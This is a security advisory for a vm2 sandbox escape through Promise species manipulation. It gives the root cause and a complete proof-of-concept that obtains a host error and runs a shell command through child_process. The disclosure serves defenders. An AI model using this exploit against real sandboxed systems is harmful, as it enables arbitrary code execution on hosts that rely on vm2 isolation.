vm2 is Vulnerable to Sandbox Breakout Through Promise Species

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The localPromise constructor was changed to call this.then(undefined, eater) to ensure a rejected promise is always used. However, this is missing a call to resetPromiseSpecies to ensure that this has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.

PoC

const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
	if (d > 0) so(d-1);
	const e = new E();
	e.stack;
	throw e;
}
let ex, ct;
class FakePromise extends Promise {
	static get [Symbol.species](){return ct;}
}
function doCatch(f) {
	ex=undefined;
	const p=Promise.withResolvers();
	ct = function(e){e(f, v=>{ex=v;p.resolve();})};
	new FakePromise(r=>r());
	return p.promise;
}
(async function f(s) {
	let min = s;
	let max = 100000;
	while (min<max) {
		const mid = (min+max)>>1;
		await doCatch(()=>so(mid));
		if (ex.name==="RangeError" && !(ex instanceof RangeError)) {
			ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
			return;
		}
		if (ex instanceof E) {
			min = mid+1;
		} else {
			max = mid;
		}
	}
	f(s+1);
})(0);
`);

Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.